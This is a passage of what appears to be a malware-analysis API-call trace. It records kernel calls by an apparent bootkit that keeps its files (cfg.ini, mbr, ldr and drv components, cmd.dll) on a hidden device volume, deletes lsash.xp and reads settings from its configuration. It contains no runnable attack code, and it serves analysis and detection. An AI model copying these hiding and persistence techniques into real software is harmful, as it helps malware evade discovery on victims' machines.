CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] KeLeaveCriticalRegion () [0124.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.384] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.384] KeEnterCriticalRegion () [0124.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] KeLeaveCriticalRegion () [0124.384] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.384] KeEnterCriticalRegion () [0124.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.385] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.385] IdePortDispatch () returned 0x103 [0124.385] KeWaitForMutexObject () returned 0x0 [0124.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.385] KeLeaveCriticalRegion () [0124.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.385] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.385] KeEnterCriticalRegion () [0124.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003545000 [0124.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.385] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.385] IdePortDispatch () returned 0x103 [0124.385] KeWaitForMutexObject () returned 0x0 [0124.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.385] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.385] IdePortDispatch () returned 0x103 [0124.385] KeWaitForMutexObject () returned 0x0 [0124.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] KeLeaveCriticalRegion () [0124.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.386] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.386] KeEnterCriticalRegion () [0124.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] KeLeaveCriticalRegion () [0124.386] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.386] KeEnterCriticalRegion () [0124.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] KeLeaveCriticalRegion () [0124.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.386] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.386] KeEnterCriticalRegion () [0124.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.386] KeLeaveCriticalRegion () [0124.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.387] ReleaseMutex (hMutex=0xf0) returned 1 [0124.387] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.387] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.387] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.387] KeEnterCriticalRegion () [0124.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.387] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.387] IdePortDispatch () returned 0x103 [0124.387] KeWaitForMutexObject () returned 0x0 [0124.387] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.387] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.387] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.387] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.387] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.387] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.387] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.387] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.387] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.387] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.387] KeLeaveCriticalRegion () [0124.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.387] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.387] KeEnterCriticalRegion () [0124.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.387] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.388] IdePortDispatch () returned 0x103 [0124.388] KeWaitForMutexObject () returned 0x0 [0124.388] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.388] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.388] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.388] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.388] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.388] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.388] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.388] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.388] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.388] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.388] KeLeaveCriticalRegion () [0124.388] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.388] ReleaseMutex (hMutex=0x100) returned 1 [0124.388] Sleep (dwMilliseconds=0x2bf20) [0124.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d572c10, dwHighDateTime=0x1d24fa4)) [0124.394] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.394] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.394] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.394] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.394] KeEnterCriticalRegion () [0124.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.395] IdePortDispatch () returned 0x103 [0124.395] KeWaitForMutexObject () returned 0x0 [0124.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.395] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.395] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.395] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.395] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.395] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0b60 [0124.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.395] KeLeaveCriticalRegion () [0124.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.395] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.395] KeEnterCriticalRegion () [0124.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.395] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.395] KeLeaveCriticalRegion () [0124.395] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.395] KeEnterCriticalRegion () [0124.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.395] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.395] IdePortDispatch () returned 0x103 [0124.396] KeWaitForMutexObject () returned 0x0 [0124.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.396] KeLeaveCriticalRegion () [0124.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.396] KeEnterCriticalRegion () [0124.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003548000 [0124.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.396] IdePortDispatch () returned 0x103 [0124.396] KeWaitForMutexObject () returned 0x0 [0124.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.396] IdePortDispatch () returned 0x103 [0124.396] KeWaitForMutexObject () returned 0x0 [0124.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.396] KeLeaveCriticalRegion () [0124.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.397] KeEnterCriticalRegion () [0124.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] KeLeaveCriticalRegion () [0124.397] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.397] KeEnterCriticalRegion () [0124.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.397] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] KeLeaveCriticalRegion () [0124.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.397] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.397] KeEnterCriticalRegion () [0124.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] ExFreePoolWithTag (P=0xfffffa8003bf0b60, Tag=0x0) [0124.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] KeLeaveCriticalRegion () [0124.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.397] ReleaseMutex (hMutex=0xf0) returned 1 [0124.397] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.397] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.397] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.397] KeEnterCriticalRegion () [0124.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.397] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.397] IdePortDispatch () returned 0x103 [0124.398] KeWaitForMutexObject () returned 0x0 [0124.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.398] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.398] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.398] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.398] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.398] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.398] KeLeaveCriticalRegion () [0124.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.398] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.398] KeEnterCriticalRegion () [0124.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.398] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.398] KeLeaveCriticalRegion () [0124.398] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.398] KeEnterCriticalRegion () [0124.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.398] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.398] IdePortDispatch () returned 0x103 [0124.398] KeWaitForMutexObject () returned 0x0 [0124.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.398] KeLeaveCriticalRegion () [0124.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.399] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.399] KeEnterCriticalRegion () [0124.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003549000 [0124.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.399] IdePortDispatch () returned 0x103 [0124.399] KeWaitForMutexObject () returned 0x0 [0124.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.399] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.399] IdePortDispatch () returned 0x103 [0124.399] KeWaitForMutexObject () returned 0x0 [0124.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.399] KeLeaveCriticalRegion () [0124.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.400] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.400] KeEnterCriticalRegion () [0124.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] KeLeaveCriticalRegion () 